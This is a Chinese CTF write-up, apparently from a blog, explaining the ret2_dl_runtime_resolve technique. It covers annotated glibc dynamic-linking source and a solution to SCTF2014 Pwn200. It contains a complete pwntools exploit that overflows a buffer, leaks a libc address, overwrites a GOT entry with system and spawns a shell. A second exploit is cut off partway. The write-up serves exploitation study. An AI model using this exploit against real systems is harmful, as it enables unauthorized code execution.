5
6
7
8
9
10
11
12
13
14
15
16
.dynstr:08048260 _dynstr segment byte public '' use32
.dynstr:08048260 assume cs:_dynstr
.dynstr:08048260 ;org 8048260h
.dynstr:08048260 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
.dynstr:08048260 byte_8048260 db 0
.dynstr:08048261 aGmonStart db '__gmon_start__',0
.dynstr:08048270 aLibcSo6 db 'libc.so.6',0
.dynstr:0804827A aIoStdinUsed db '_IO_stdin_used',0
.dynstr:08048289 aStrncmp db 'strncmp',0
.dynstr:08048291 aStrlen db 'strlen',0
.dynstr:08048298 aRead db 'read',0
.dynstr:0804829D aLibcStartMain db '__libc_start_main',0
.dynstr:080482AF aWrite db 'write',0
.dynstr:080482B5 aGlibc20 db 'GLIBC_2.0',0
.dynstr:080482BF align 10h
.dynstr:080482BF _dynstr ends

3、ret2_dl_runtime_resolve利用原理

3.1、函数调用流程

  动态链接下第一次调用glibc的函数需要通过PLT表中的一段代码解析函数的真实地址,这也是ELF的延迟绑定的特点。具体的解析方式就是通过调用_dl_runtime_resolve(link_map_obj, reloc_arg) ,如果我们可以控制整个解析过程中的参数,那么就能解析我们想要的函数地址。以调用printf函数为例,回顾一下整个流程:

  • 1、call printf@PLT
  • 2、jmp *(printf@GOT) -> (第一次会jmp回来,解析之后就直接jmp到解析出来的地址了) -> push n -> jmp &PLT[0] (跳到公共表项)
  • 3、push GOT[1] (link_map可以理解为模块ID) -> jmp *GOT[2] (跳转到_dl_runtime_resolve函数)
    以上步骤相当于调用了_dl_runtime_resolve(link_map_obj, reloc_arg)
  • 4、解析完毕后会把解析出来的地址写回通过reloc_arg定位到的.rel.plt表项的r_offset指向的位置(其实就是.got.plt表中的对应项)

  弄懂_dl_runtime_resolve()的解析过程后,就可以通过伪造reloc_arg来解析出我们想要的libc函数地址并且写回可控区域了。

  • 1、通过link_map_obj访问“.dynamic”节,分别取出动态链接字符串表“.dynstr”动态链接符号表“.dynsym”重定位表“.rel.plt”的地址。记为dynstr_addrdynsym_addrrel_plt_addr
  • 2、利用rel_plt_addr + reloc_index,求出当前函数重定位表项Elf32_Rel的指针,记为rel
  • 3、rel->r_info高24位作为动态链接符号表“.dynsym”的下标,即利用dynsym_addr + ((rel->r_info)>>8),求出当前函数动态链接符号表项Elf32_Sym的指针,记作sym
  • 4、sym -> st_name作为动态链接字符串表“.dynstr”的下标,即利用dynstr_addr + (sym -> st_name),求出当前函数动态链接字符串表项在的指针,记作str
  • 5、在动态链接库查找这个函数的地址,并且把找到的地址赋值给rel->r_offset指向存储单元,即.got.plt中此函数的对应项。
  • 6、最后调用这个函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
#include <link_map.h>
/* 描述加载的共享库的结构体。“l_next”和“l_prev”成员构成了启动时加载的所有共享对象的链表。
这些数据结构存在于运行时动态链接器使用的空间中。 修改它们可能会导致灾难性的后果。 如有
必要,此数据结构将来可能会更改。 用户级程序必须避免定义这种类型的对象。 */
struct link_map {
/* 这些最初的几个成员是调试器协议的一部分。 这与SVR4中使用的格式相同。 */
ElfW(Addr) l_addr; /* ELF文件中的地址与内存中的地址之间的不同。共享文件加载基地址。 */
char *l_name; /* 绝对文件名 */
ElfW(Dyn) *l_ld; /* 共享对象的动态节 */
struct link_map *l_next, *l_prev; /* 加载的共享对象链表指针 */
/* 以下所有成员都是动态链接器的内部组件,可能随时改变不受提醒 */
/* 当在多个名称空间中使用ld.so时,该元素与指向该类型的相同副本的指针不同。 */
struct link_map *l_real;
/* 该link map所属的命名空间个数 */
Lmid_t l_ns;
struct libname_list *l_libname;
/* 指向“.dynamic”节的索引指针。
这个数组用于快速访问动态节的信息,在lookup系列函数中会频繁使用。
它的有关定义还包含了一系列用于访问信息的功能宏。 */
ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM
+ DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];
const ElfW(Phdr) *l_phdr; /* 指向程序头表的指针。 */
ElfW(Addr) l_entry; /* 入口点位置。 */
ElfW(Half) l_phnum; /* 程序头条目的数量。 */
ElfW(Half) l_ldnum; /* dynamic节条目数量 */
/* DT_NEEDED依存项及其依存项的数组,按依赖关系查找符号(包含和不包含重复项)。 在加载依赖项之前,没有任何条目。 */
struct r_scope_elem l_searchlist;
/* 我们需要一个特殊的搜索列表来处理标记有DT_SYMBOLIC的对象。 */
struct r_scope_elem l_symbolic_searchlist;
/* 第一次导致该对象被加载的对象。 */
struct link_map *l_loader;
/* 版本名称的数组。 */
struct r_found_version *l_versions;
unsigned int l_nversions;
/* 符号Hash表 */
Elf_Symndx l_nbuckets;
Elf32_Word l_gnu_bitmask_idxbits;
Elf32_Word l_gnu_shift;
const ElfW(Addr) *l_gnu_bitmask;
union {
const Elf32_Word *l_gnu_buckets;
const Elf_Symndx *l_chain;
};
union {
const Elf32_Word *l_gnu_chain_zero;
const Elf_Symndx *l_buckets;
};
unsigned int l_direct_opencount; /* dlopen/dlclose的引用计数。 */
enum { /* 该对象来自何处。 */
lt_executable, /* 主要的可执行程序。 */
lt_library, /* 主可执行文件需要的库。 */
lt_loaded /* 额外的运行时加载的共享库。 */
} l_type:2;
unsigned int l_relocated:1; /* 如果对象的重定位完成,则为非零值。 */
unsigned int l_init_called:1; /* 如果DT_INIT函数被调用,则为非零值。 */
unsigned int l_global:1; /* 如果对象在_dl_global_scope中,则为非零值。 */
unsigned int l_reserved:2; /* 保留供内部使用。 */
unsigned int l_phdr_allocated:1; /* 如果分配了由“ l_phdr”指向的数据结构,则为非零值。 */
unsigned int l_soname_added:1; /* 如果确定SO_NAME在l_libname列表中,则为非零值。 */
unsigned int l_faked:1; /* 如果这是一个没有关联文件的伪造描述符,则为非零值。 */
unsigned int l_need_tls_init:1; /* 重定位完成后,如果在此link map上调用GL(dl_init_static_tls),则为非零值。 */
unsigned int l_auditing:1; /* 如果DSO用于审计,则为非零值。 */
unsigned int l_audit_any_plt:1; /* 如果至少一个审计模块对PLT拦截感兴趣,则为非零值。 */
unsigned int l_removed:1; /* 如果该对象已被删除而无法再使用,则为非零值。 */
unsigned int l_contiguous:1; /* 如果段间孔受到保护,或者根本不存在孔,则为非零值。 */
unsigned int l_symbolic_in_local_scope:1; /* 如果LD_TRACE_PRELINKING = 1期间的
l_local_scope包含任何DT_SYMBOLIC库,则为非零值。 */
unsigned int l_free_initfini:1; /* 如果可以释放l_initfini,则为非零值。即,没有在ld.so中与虚拟malloc一起分配。 */

/* 收集有关自己的RPATH目录的信息。 */
struct r_search_path_struct l_rpath_dirs;
/* 概要分析时收集的重定位结果。 */
struct reloc_result {
DL_FIXUP_VALUE_TYPE addr;
struct link_map *bound;
unsigned int boundndx;
uint32_t enterexit;
unsigned int flags;
/* 并发性注:这用于保护跨多个线程的重定位结果的并发初始化。 请参阅elf/dl-runtime.c中的更详细说明。 */
unsigned int init;
} *l_reloc_result;
/* 指向版本信息的指针(如果有)。 */
ElfW(Versym) *l_versyms;
/* 字符串,指定找到此对象的路径。 */
const char *l_origin;
/* 此对象的内存映射的开始和结束。 l_map_start不必与l_addr相同。 */
ElfW(Addr) l_map_start, l_map_end;
/* 映射的可执行部分的结尾。 */
ElfW(Addr) l_text_end;
/* “l_scope”的默认数组。 */
struct r_scope_elem *l_scope_mem[4];
/* 为“ l_scope”分配的数组大小。 */
size_t l_scope_max;
/* 这是一个定义此link map的查找范围的数组。最初最多有三个不同的范围列表。 */
struct r_scope_elem **l_scope;
/* 类似的数组,这次仅与本地范围有关。偶尔使用。 */
struct r_scope_elem *l_local_scope[2];
/* 保留此信息以检查共享对象是否与已加载的对象相同。 */
struct r_file_id l_file_id;
/* 收集有关自己的RUNPATH目录的信息。 */
struct r_search_path_struct l_runpath_dirs;
/* 按init和fini调用的顺序列出对象。 */
struct link_map **l_initfini;
/* 通过符号绑定引入的依赖项列表。 */
struct link_map_reldeps {
unsigned int act;
struct link_map *list[];
} *l_reldeps;
unsigned int l_reldepsmax;
/* 如果使用DSO,则为非零值。 */
unsigned int l_used;
/* 各种标志字。 */
ElfW(Word) l_feature_1;
ElfW(Word) l_flags_1;
ElfW(Word) l_flags;
/* 暂时在dl_close中使用。 */
int l_idx;
struct link_map_machine l_mach;
struct {
const ElfW(Sym) *sym;
int type_class;
struct link_map *value;
const ElfW(Sym) *ret;
} l_lookup_cache;
/* 线程本地存储相关信息。 */
/* 初始化映像的开始。 */
void *l_tls_initimage;
/* 初始化映像的大小。 */
size_t l_tls_initimage_size;
/* TLS块的大小。 */
size_t l_tls_blocksize;
/* TLS块的对齐要求。 */
size_t l_tls_align;
/* 第一个字节模块对齐方式的偏移量。 */
size_t l_tls_firstbyte_offset;
#ifndef NO_TLS_OFFSET
# define NO_TLS_OFFSET 0
#endif
#ifndef FORCED_DYNAMIC_TLS_OFFSET
# if NO_TLS_OFFSET == 0
# define FORCED_DYNAMIC_TLS_OFFSET -1
# elif NO_TLS_OFFSET == -1
# define FORCED_DYNAMIC_TLS_OFFSET -2
# else
# error "FORCED_DYNAMIC_TLS_OFFSET is not defined"
# endif
#endif
/* 对于启动时出现的对象:静态TLS块中的偏移量。 */
ptrdiff_t l_tls_offset;
/* dtv数组中模块的索引。 */
size_t l_tls_modid;
/* 此DSO构造的thread_local对象的数量。 这是原子访问和修改的,
并不总是受加载锁保护。 另请参见:cxa_thread_atexit_impl.c中的“注意事项”。 */
size_t l_tls_dtor_count;
/* 重定位完成后用于更改权限的信息。 */
ElfW(Addr) l_relro_addr;
size_t l_relro_size;
unsigned long long int l_serial;
/* 审计信息。 该数组显然必须是结构体中的最后一个。 切勿在其后添加任何内容。 */
struct auditstate {
uintptr_t cookie;
unsigned int bindflags;
} l_audit[0];
};

3.2.1、_dl_runtime_resolve()的内容

  _dl_runtime_resolve()glibc-2.23/sysdeps/i386/dl-trampoline.S(64位把i386改为x86_64)中使用汇编实现,其主要代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
	.text
.globl _dl_runtime_resolve
.type _dl_runtime_resolve, @function
cfi_startproc
.align 16
_dl_runtime_resolve:
cfi_adjust_cfa_offset (8)
_CET_ENDBR
pushl %eax # Preserve registers otherwise clobbered.
cfi_adjust_cfa_offset (4)
pushl %ecx
cfi_adjust_cfa_offset (4)
pushl %edx
cfi_adjust_cfa_offset (4)
movl 16(%esp), %edx # Copy args pushed by PLT in register. Note
movl 12(%esp), %eax # that 'fixup' takes its parameters in regs.
call _dl_fixup # Call resolver.
popl %edx # Get register content back.
cfi_adjust_cfa_offset (-4)
movl (%esp), %ecx
movl %eax, (%esp) # Store the function address.
movl 4(%esp), %eax
ret $12 # Jump to function address.
cfi_endproc
.size _dl_runtime_resolve, .-_dl_runtime_resolve

修正后的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0xf7fee000 <_dl_runtime_resolve>       push   eax
0xf7fee001 <_dl_runtime_resolve+1> push ecx
0xf7fee002 <_dl_runtime_resolve+2> push edx
0xf7fee003 <_dl_runtime_resolve+3> mov edx, dword ptr [esp + 0x10]
0xf7fee007 <_dl_runtime_resolve+7> mov eax, dword ptr [esp + 0xc]
0xf7fee00b <_dl_runtime_resolve+11> call _dl_fixup <0xf7fe77e0>
arg[0]: 0xc
arg[1]: 0x8048670 ◂— imul ebp, dword ptr [esi + 0x70], 0x6e207475 /* 'input name:' */

0xf7fee010 <_dl_runtime_resolve+16> pop edx
0xf7fee011 <_dl_runtime_resolve+17> mov ecx, dword ptr [esp]
0xf7fee014 <_dl_runtime_resolve+20> mov dword ptr [esp], eax
0xf7fee017 <_dl_runtime_resolve+23> mov eax, dword ptr [esp + 4]
0xf7fee01b <_dl_runtime_resolve+27> ret 0xc

  其采用了GNU风格的语法,可读性比较差。我们可以看到函数_dl_runtime_resolve()调用了_dl_fixup(link_map,reloc_arg),后续操作都是在这个函数中完成的。

3.2.2、_dl_fixup()的内容

_dl_fixup()的实现位于glibc/elf/dl-runtime.c,其内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#ifndef reloc_offset
# define reloc_offset reloc_arg
# define reloc_index reloc_arg / sizeof (PLTREL)
#endif

/* elf_machine_type_class()返回的重定位类型类。
ELF_RTYPE_CLASS_PLT表示此重定位不应由某些PLT符号满足,
ELF_RTYPE_CLASS_COPY意味着此重定位不应由可执行文件中的任何符号满足。
某些体系结构不支持copy重定位(引用外部变量)。 在这种情况下,我们将宏定义为零,以便自
动优化处理它们的代码。 ELF_RTYPE_CLASS_EXTERN_PROTECTED_DATA表示
共享库中定义的受保护数据的地址可能是外部的,即由于copy重定位。 */
#define ELF_RTYPE_CLASS_PLT 1
#ifndef DL_NO_COPY_RELOCS
# define ELF_RTYPE_CLASS_COPY 2
#else
# define ELF_RTYPE_CLASS_COPY 0
#endif


/* 第一次调用每个PLT条目时,将通过PLT的特殊跳转调用此功能。 我们必须执行给定共享对象的PLT中指定的重定位,并将已解析的函数地址返回到跳转,这将重新启动对该地址的原始调用。 将来的调用将直接从PLT跳转到该功能。 */
DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
//l为共享库或可执行文件ID,link_map结构指针。link_map结构链表第一个结点表示的是可执行文件。
//reloc_arg为所解析函数的重定位项在重定位表.rel.plt中的偏移
struct link_map *l, ElfW(Word) reloc_arg)
{
//D_PTR是一个宏定义,位于glibc/sysdeps/generic/ldsodefs.h中,用于通过link_map结构体寻址。
//通过link_map结构获取动态链接符号表.dynsym的地址
//ELFW宏用来拼接字符串,在这里实际上是为了自动兼容32和64位,Elf32_Sym或Elf64_Sym
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
//通过link_map结构获取动态链接字符串表.dynstr的地址
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
//通过link_map结构获取重定位表.rel.plt中所求函数的重定位项的地址
//reloc_offset为所解析函数的重定位项在重定位表.rel.plt中的偏移
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
//求出所求函数在动态链接符号表.dynsym中对应符号项的地址
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
const ElfW(Sym) *refsym = sym;
//l_addr是共享库或可执行文件加载基址,rel_addr是重定位需要修改内容的地址,也就是.got.plt中所求函数对应项
//r_offset为相对虚拟地址,rel_addr为虚拟地址
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);

lookup_t result; //查找函数的结果,其为定义函数的共享对象的加载基地址
DL_FIXUP_VALUE_TYPE value; //DL_FIXUP_VALUE_TYPE是fixup/profile_fixup返回值的类型。保存函数的真实地址。

/* 安全性检查,我们需要确定它是一个PLT的重定位项 */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
/* 查找目标符号。如果未使用常规查找规则,则不要在全局范围内查找。 */
//st_other定义了符号的可见性,__builtin_expect返回值为第一个参数
//#define ELF32_ST_VISIBILITY(o) ((o) & 0x03)
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) //使用了常规查找规则
{
const struct r_found_version *version = NULL; //当前符号的版本
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
//获取动态符号版本表“.gnu.version”的地址
const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx]; //得到当前所解析符号的版本
if (version->hash == 0)
version = NULL;
}
/* 我们需要保持范围不变,因此需要进行一些锁定。 对于无法卸载的对象或尚未使用任何线程的对象,这不是必需的。 */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}
#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif
//strtab + sym->st_name为所解析函数的符号在字符串表中的地址,result为定义函数的共享对象的加载基地址
//_dl_lookup_symbol_x的功能是在加载的共享对象的符号表中搜索符号的定义,其参数也许带有该符号的版本。
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
/* 我们已经完成了全局范围的工作。 */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();
#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif
/* 当前result包含定义sym的共享对象的加载基地址(或link map)。 现在添加符号偏移量。 */
//value为所求函数的真实内存地址
//SYMBOL_ADDRESS(map, ref, map_set):如果ref不是NULL,则使用映射MAP中的基地址来计算符号引用的地址。
//如果MAP_SET为TRUE,请勿检查NULL映射。
value = DL_FIXUP_MAKE_VALUE (result,SYMBOL_ADDRESS (result, sym, false));
}
else //未使用常规查找规则
{
/* 我们已经找到了符号。 模块(及其加载地址)也是已知的。 */
value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
result = l;
}

//elf_machine_plt_value返回PLT重定位的最终值。在x86-64上JUMP_SLOT重定位忽略addend。
value = elf_machine_plt_value (l, reloc, value);
if (sym != NULL && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
/* 最后,修复PLT本身。 */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;
//向所查找函数对应的GOT表中填写找到的函数的真实地址。
return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}

  _dl_fixup(l,reloc_arg)有两个参数,l是link_map结构的指针,reloc_arg是所解析函数的重定位项重定位表.rel.plt中的偏移下标32位reloc_arg64位的有区别:32位使用reloc_offset, 64位使用reloc_index

1
2
3
4
5
6
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
const ElfW(Sym) *refsym = sym;
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);

  上面几句的作用是从link_map结构中获取动态链接符号表“.dynsym”动态链接字符串表“.dynstr”首地址重定位表“.rel.plt”中所求函数的重定位项的地址,所求函数在动态链接符号表“.dynsym”对应项的地址,以及重定位需要修改内容的地址rel_addr
  接下来主要是调用了_dl_lookup_symbol_x()函数,_dl_lookup_symbol_x()的功能是在加载的共享对象的符号表搜索符号的定义,其参数也许带有该符号的版本。它的返回值为定义所求函数的共享对象的加载基址

1
2
3
4
//strtab + sym->st_name为所解析函数的符号在字符串表中的地址,result为定义函数的共享对象的加载基地址
//_dl_lookup_symbol_x的功能是在加载的共享对象的符号表中搜索符号的定义,其参数也许带有该符号的版本。
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym,
l->l_scope,version, ELF_RTYPE_CLASS_PLT, flags, NULL);

  _dl_lookup_symbol_x()函数的内容比较多,这里就不详细介绍了,准备再写一篇文章,详细介绍Linux下库函数的动态链接过程。其有8个参数

  • 参数1strtab + sym->st_name,是指向所要重定位的符号的字符串的指针。
  • 参数2l,_dl_fixup()函数传进来的link_map结构体链表指针,目前指向第一个结点,即可执行文件对应的链表结点。
  • 参数3&sym,sym是一个Elf32_Sym类型的结构体对象指针,其指向的是所求函数在动态链接符号表.dynsym中对应符号项。而&sym是这个结构体对象指针的地址。
  • 参数4l->l_scope,此link map的查找范围(maps的范围)的指针数组。
  • 参数5version,所搜索函数的符号版本结构体对象指针。
  • 参数6ELF_RTYPE_CLASS_PLT,重定位elf_machine_type_class()返回的类型类。
  • 参数7flags,标志变量。暂时没搞清楚功能。
  • 参数8*skip_map,需要跳过的、不用搜索的link_map结构体指针。

  _dl_lookup_symbol_x()函数的返回值result为定义函数的共享对象的加载基址。之后我们可以看到使用了DL_FIXUP_MAKE_VALUE()这个宏定义:

1
2
3
4
5
6
7
8
9
10
11
/* 当前result包含定义sym的共享对象的加载基地址(或link map)。 现在添加符号偏移量。 */
//value为所求函数的真实内存地址
//SYMBOL_ADDRESS(map, ref, map_set):如果ref不是NULL,则使用映射MAP中的基地址来计算符号引用的地址。
//如果MAP_SET为TRUE,请勿检查NULL映射。
value = DL_FIXUP_MAKE_VALUE (result,SYMBOL_ADDRESS (result, sym, false));

/* 根据地址和link_map构造修正值 */
#define DL_FIXUP_MAKE_VALUE(map, addr) (map) ? ((struct fdesc){(addr),(map)->l_info[DT_PLTGOT]->d_un.d_ptr }) : ((struct fdesc) { 0, 0 })

/* 如果ref不是NULL,则使用映射MAP中的基地址来计算符号引用的地址。如果MAP_SET为TRUE,请勿检查NULL映射。 */
#define SYMBOL_ADDRESS(map, ref, map_set) ((ref) == NULL ? 0 : (__glibc_unlikely((ref)->st_shndx == SHN_ABS) ? 0 : LOOKUP_VALUE_ADDRESS(map, map_set)) + (ref)->st_value)

  通过此宏定义,我们可以得到所求符号的真实内存地址,即value。通过一层层宏定义,我们可以知道,符号的真实地址是存在符号项中的st_value中的。之后,通过调用elf_machine_fixup_plt()函数修复GOT表,将重定位函数的真实地址写入可执行文件中函数对应的GOT表项中。

1
2
3
4
5
6
7
8
9
10
11
//向所查找函数对应的GOT表中填写找到的函数的真实地址。
return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);

static inline ElfW(Addr)
elf_machine_fixup_plt (struct link_map *map, lookup_t t,
const ElfW(Sym) *refsym, const ElfW(Sym) *sym,
const ElfW(Rela) *reloc,
ElfW(Addr) *reloc_addr, ElfW(Addr) value)
{
return *reloc_addr = value;
}

4、真题解析

4.0、ret2_dl_runtime_resolve适用情况

  • 条件1:题目未给出libc库
  • 条件2:程序未开启PIE保护。如果开启了PIE保护,则还需要通过泄露获取基地址。
  • 条件3:程序未开启FULL RELRO

4.1、ret2_dl_runtime_resolve利用方式

4.2、x86的情况——SCTF2014 Pwn200

1、检查程序开启的保护机制

1
2
3
4
5
6
7
$ checksec pwn200
[*] '/home/******/Desktop/remote-dbg/pwn200'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

可以看到此程序只开启了NX(堆栈不可执行)

2、静态分析

IDA反编译后主函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ssize_t main1()
{
char slogan; // [esp+1Ch] [ebp-9Ch] 0x80 = 128
char name[16]; // [esp+9Ch] [ebp-1Ch]
size_t nbytes; // [esp+ACh] [ebp-Ch] 32程序size_t大小为4bytes

nbytes = 16;
*name = 0;
*&name[4] = 0;
*&name[8] = 0;
*&name[12] = 0;
memset(&slogan, 0, 128u);
write(1, "input name:", 12u);
// name的大小为16byte,多读一个字节,覆盖了后面的数据
read(0, name, nbytes + 1);
// 检查输入长度,name输入长度最长为10byte,并且name前8个字节为"syclover"
if ( strlen(name) - 1 > 9 || strncmp("syclover", name, 8u) )
return -1;
write(1, "input slogan:", 14u);
read(0, &slogan, nbytes);
return write(1, &slogan, nbytes);
}

  我们通过分析,可以知道,程序需要两次输入第一次输入“name”,第二次输入“slogan”。name的大小为16byte,但是程序在读取输入的时候,最多可以读取17byte,多了一个字节,这会覆盖后面的nbytes。如果覆盖为0xFF,则会在后面从标准输入读取“slogan”的时候,读取的最大长度变为255byte,而“slogan”的实际大小只有128byte,这就会导致覆盖栈上的函数的EBP返回地址。如果输入的数据是经过精心构造过的,就可以劫持程序的控制流

  在“name”输入完后,程序会对输入的长度内容进行判断。长度最长为10byte,并且前8个字节“syclover”。我们可以使用“\x00”截断,对长度判断进行绕过。

3、方法一:使用题目提供的libc库,进行利用

利用思路:

  • 1、程序从标准输入读取“name”的时候,利用“\x00”绕过strlen()的长度验证,输入构造的17bytes数据,将nbytes修改为“0xFF”
1
name = "syclover\x00\xff\xff\xff\xff\xff\xff\xff\xff"
  • 2、程序从标准输入读取“slogan”的时候,输入精心构造的一段ROP的shellcode,劫持程序的控制流。首先利用write函数泄露出read函数的地址,然后根据libcread函数system函数的相对偏移,计算出system函数的真实地址。再通过read函数修改strlen的GOT表
1
2
3
4
5
6
shellcode = ""
shellcode += p32(write_plt) + p32(ppp_ret) + p32(0x01) + p32(read_got) + p32(0x04)
shellcode += p32(read_plt) + p32(ppp_ret) + p32(0x00) + p32(strlen_got) + p32(0x04)
shellcode += p32(main_addr)
ebp = p32(0xdeadbeef)
payload = 'A'*0x90 + p32(0x04) + 'A'*8 + ebp + shellcode
  • 3、程序再次从标准输入读取“name”的时候,传入字符串“/bin/sh”。当执行到strlen函数的时候,实际上执行的是system函数,参数即为“/bin/sh”

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
# Author:Sp4n9x
# -*- coding:utf-8 -*-
from pwn import *

context.clear()
context.log_level = 'debug'
context.binary ='./pwn200'
context = {'arch':'i386','bits':'32','endian':'little','os':'linux'}

def str_to_hex(str):
return ''.join(['\\x' + '%02X' % ord(c) for c in str])

def get_io():
if args['REMOTE']:
io = remote('218.2.197.235',10101)
else:
io = process('./pwn200')
# io = gdb.debug('./pwn200','''
# bp 0x080484AC
# bp 0x08048507
# bp 0x08048524
# bp 0x08048579
# bp 0x08048596
# bp 0x080485b8''')

return io

def pwn(io):
# gdb.attach(io,'''
# bp 0x080484AC
# bp 0x08048507
# bp 0x08048524
# bp 0x08048579
# bp 0x08048596
# bp 0x080485b8''')

# raw_input('[1] before receive "input name:\x00"')
io.recvuntil("input name:\x00")
name = "syclover\x00".ljust(17,"\xff")
print "name:" + name
# raw_input('[2] before send name')
io.send(name)
# raw_input('[3] before receive "input slogan:\x00"')
io.recvuntil("input slogan:\x00")

ppp_ret = 0x08048646
write_plt = 0x080483A0
read_plt = 0x08048360
read_got = 0x08049850
strlen_got = 0x08049858
main_addr = 0x080484AC

shellcode = ""
shellcode += p32(write_plt) + p32(ppp_ret) + p32(0x01) + p32(read_got) + p32(0x04)
shellcode += p32(read_plt) + p32(ppp_ret) + p32(0x00) + p32(strlen_got) + p32(0x04)
shellcode += p32(main_addr)
ebp = p32(0xdeadbeef)
payload = 'A'*0x90 + p32(0x04) + 'A'*8 + ebp + shellcode
print "payload_len:" + str(len(payload))
print "payload:" + payload[0:0x90] + str_to_hex(payload[0x90:0x94]) + payload[0x94:0x9C] + str_to_hex(payload[0x9C:])
# raw_input('[4] before send payload')
io.send(payload)

# raw_input('[5] before receive write_data')
write_data = io.recv(4)
print [c for c in write_data]
# raw_input('[6] before receive read_addr_data')
read_addr_data = io.recv(4)
print [c for c in read_addr_data]
read_addr = u32(read_addr_data)
print "read_addr:",hex(read_addr)
#libc_info = ELF("./libc.so",checksec = False)
libc_info = ELF("./libc-2.23.so",checksec = False)
system_offset = libc_info.symbols["system"]
read_offset = libc_info.symbols["read"]
print "system_offset:",hex(system_offset)
print "read_offset:",hex(read_offset)

libc_addr = read_addr - read_offset
system_addr = libc_addr + system_offset
print "system_addr:" + hex(system_addr)
# raw_input('[7] before send system_addr')
io.send(p32(system_addr))
io.recvuntil("input name:\x00")
# raw_input('[8] before send "/bin/sh"')
io.send("/bin/sh")
io.interactive(prompt = pwnlib.term.text.bold_red('$') + ' ')

if __name__ == '__main__':
io = get_io()
pwn(io)

4、方法二:如果题目未提供libc库,使用ret2_dl_runtime_resolve方式进行利用

利用思路:

  • 1、程序从标准输入读取“name”的时候,利用“\x00”绕过strlen()的长度验证,输入构造的17bytes数据,将nbytes修改为“0xFF”
1
name = "syclover\x00\xff\xff\xff\xff\xff\xff\xff\xff"
  • 2、程序从标准输入读取“slogan”的时候,输入精心构造的一段ROP的shellcode,劫持程序的控制流。我们使用read函数将伪造的system函数重定位表项数据符号表项数据字符串表项数据以及参数“/bin/sh”写入到内存中的可写区域,这里选择bss节之后的区域。 然后,返回到main函数,进行下一次payload的传递,用于解析system函数地址,并调用system函数
1
2
3
4
5
6
7
8
shellcode = ""
shellcode += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(reloc_data_addr) + p32(len(reloc_data))
